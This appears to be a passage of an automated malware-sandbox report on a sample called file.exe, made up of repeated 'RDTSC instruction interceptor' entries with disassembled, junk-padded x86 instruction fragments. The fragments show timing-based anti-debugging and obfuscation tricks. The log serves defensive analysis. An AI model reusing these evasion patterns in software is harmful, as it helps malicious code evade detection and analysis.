Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7030 second address: FB7035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7035 second address: FB703B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7F94 second address: FB7F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7F98 second address: FB7FB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1F50F77984h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7FB8 second address: FB801A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F1F50CBBC38h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 movsx edi, bx 0x00000028 mov dword ptr [ebp+122D1817h], ecx 0x0000002e push 00000000h 0x00000030 or dword ptr [ebp+122D1817h], edx 0x00000036 push 00000000h 0x00000038 cld 0x00000039 xchg eax, esi 0x0000003a js 00007F1F50CBBC3Ah 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push edi 0x00000045 pop edi 0x00000046 jno 00007F1F50CBBC36h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB801A second address: FB8020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB8020 second address: FB8024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB8024 second address: FB8028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB81DC second address: FB81E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1F50CBBC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB8FB3 second address: FB9020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D34D2h] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F1F50F77978h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D1E53h], ebx 0x0000002f or ebx, dword ptr [ebp+12498675h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F1F50F77978h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 jmp 00007F1F50F7797Ah 0x00000056 xchg eax, esi 0x00000057 pushad 0x00000058 push edi 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB9020 second address: FB9028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB9028 second address: FB9035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB9035 second address: FB903B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB903B second address: FB9040 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBA074 second address: FBA100 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1F50CBBC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F1F50CBBC3Ch 0x00000010 pop edx 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F1F50CBBC38h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+1246B07Ch] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007F1F50CBBC38h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 jmp 00007F1F50CBBC47h 0x00000056 push 00000000h 0x00000058 xchg eax, esi 0x00000059 jng 00007F1F50CBBC3Eh 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBA100 second address: FBA10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB919B second address: FB91A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBA10B second address: FBA10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB91A0 second address: FB91C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c js 00007F1F50CBBC36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBB10A second address: FBB17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bl, ch 0x0000000b push 00000000h 0x0000000d adc bl, 00000055h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F1F50F77978h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jmp 00007F1F50F77985h 0x00000031 push eax 0x00000032 pushad 0x00000033 jmp 00007F1F50F7797Fh 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F1F50F77987h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBC1D2 second address: FBC211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F1F50CBBC47h 0x0000000d nop 0x0000000e sbb di, 6EE8h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 mov bl, ah 0x00000019 xchg eax, esi 0x0000001a jmp 00007F1F50CBBC3Dh 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBC211 second address: FBC215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBB300 second address: FBB304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FC0191 second address: FC019B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBD379 second address: FBD3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1F50CBBC36h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F1F50CBBC38h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F1F50CBBC38h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e cmc 0x0000004f mov eax, dword ptr [ebp+122D0121h] 0x00000055 add bx, D4E8h 0x0000005a push FFFFFFFFh 0x0000005c adc ebx, 321BA434h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F1F50CBBC40h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBE323 second address: FBE385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F1F50F77976h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 or edi, dword ptr [ebp+122D33E6h] 0x00000017 push dword ptr fs:[00000000h] 0x0000001e sub ebx, 4C2C5649h 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b xor ebx, dword ptr [ebp+122D363Eh] 0x00000031 mov eax, dword ptr [ebp+122D0015h] 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F1F50F77978h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 push FFFFFFFFh 0x00000053 or dword ptr [ebp+122D2650h], ebx 0x00000059 push eax 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e pop eax 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBC33A second address: FBC33F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBC33F second address: FBC3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a stc 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov ebx, 0F427FB9h 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e sub dword ptr [ebp+122D1B5Ch], ebx 0x00000024 mov eax, dword ptr [ebp+122D1731h] 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F1F50F77978h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 mov dword ptr [ebp+12469831h], ecx 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007F1F50F77978h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 00000014h 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 mov dword ptr [ebp+122D2FCBh], edi 0x0000006c push eax 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBC3B6 second address: FBC3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FC2FB8 second address: FC2FCA instructions: 0x00000000 rdtsc 0x00000002 js 00007F1F50F77976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F1F50F7797Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FC3225 second address: FC322F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1F50CBBC3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCBDAF second address: FCBDC3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1F50F77978h 0x00000008 js 00007F1F50F7797Eh 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCDC71 second address: FCDC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCDC76 second address: FCDC84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F1F50F77976h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCDC84 second address: FCDC94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD20A9 second address: FD20AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD210C second address: FD2110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD2110 second address: FD211E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F1F50F77976h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD211E second address: FD2144 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F1F50CBBC44h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD2144 second address: FD214A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDAB79 second address: FDAB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDAB7F second address: FDABA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1F50F77988h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDABA7 second address: FDABAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD9822 second address: FD982F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD982F second address: FD9835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD9835 second address: FD9839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD9839 second address: FD9855 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F50CBBC36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F1F50CBBC38h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F1F50CBBC36h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA02E second address: FDA032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA032 second address: FDA049 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F1F50CBBC3Dh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA049 second address: FDA04D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA04D second address: FDA053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA053 second address: FDA07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jmp 00007F1F50F77981h 0x00000010 pop ebx 0x00000011 jp 00007F1F50F7797Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA19B second address: FDA1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push esi 0x00000009 pushad 0x0000000a jmp 00007F1F50CBBC49h 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA4BA second address: FDA4BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA61F second address: FDA625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA625 second address: FDA63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1F50F77983h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FDA8CD second address: FDA8DC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1F50CBBC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE3003 second address: FE3010 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA740E second address: F8C7B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub dword ptr [ebp+122D1A26h], edi 0x00000012 lea eax, dword ptr [ebp+1249C156h] 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F1F50CBBC38h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push eax 0x00000033 push ecx 0x00000034 jmp 00007F1F50CBBC48h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp], eax 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007F1F50CBBC38h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 jg 00007F1F50CBBC3Ch 0x0000005d call dword ptr [ebp+122D25E8h] 0x00000063 pushad 0x00000064 jnc 00007F1F50CBBC38h 0x0000006a push ebx 0x0000006b jbe 00007F1F50CBBC36h 0x00000071 pop ebx 0x00000072 push eax 0x00000073 push edx 0x00000074 push edi 0x00000075 pop edi 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA79A6 second address: FA79AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA79AA second address: FA79B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA79B0 second address: FA79B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA79B6 second address: FA79BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA79BA second address: FA79BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA7A9D second address: FA7AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA7AA1 second address: FA7AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA7AA7 second address: DDE81E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub dword ptr [ebp+122D28B8h], edx 0x00000012 push dword ptr [ebp+122D0435h] 0x00000018 mov di, EE8Ah 0x0000001c call dword ptr [ebp+122D192Ah] 0x00000022 pushad 0x00000023 stc 0x00000024 xor eax, eax 0x00000026 mov dword ptr [ebp+122D19CAh], eax 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 clc 0x00000031 mov dword ptr [ebp+122D356Eh], eax 0x00000037 jno 00007F1F50CBBC43h 0x0000003d pushad 0x0000003e jmp 00007F1F50CBBC45h 0x00000043 popad 0x00000044 mov esi, 0000003Ch 0x00000049 mov dword ptr [ebp+122D1A77h], ecx 0x0000004f jnl 00007F1F50CBBC37h 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 pushad 0x0000005a mov eax, dword ptr [ebp+122D34DAh] 0x00000060 mov di, 58FBh 0x00000064 popad 0x00000065 lodsw 0x00000067 pushad 0x00000068 jmp 00007F1F50CBBC3Ah 0x0000006d mov cl, ah 0x0000006f popad 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 cmc 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 mov dword ptr [ebp+122D19CAh], ebx 0x0000007f pushad 0x00000080 movzx esi, ax 0x00000083 sbb ecx, 16025E9Fh 0x00000089 popad 0x0000008a nop 0x0000008b pushad 0x0000008c jmp 00007F1F50CBBC44h 0x00000091 push eax 0x00000092 push edx 0x00000093 jmp 00007F1F50CBBC44h 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA7E99 second address: FA7E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA7E9D second address: FA7EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA7EA1 second address: FA7EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA7FF5 second address: FA800A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
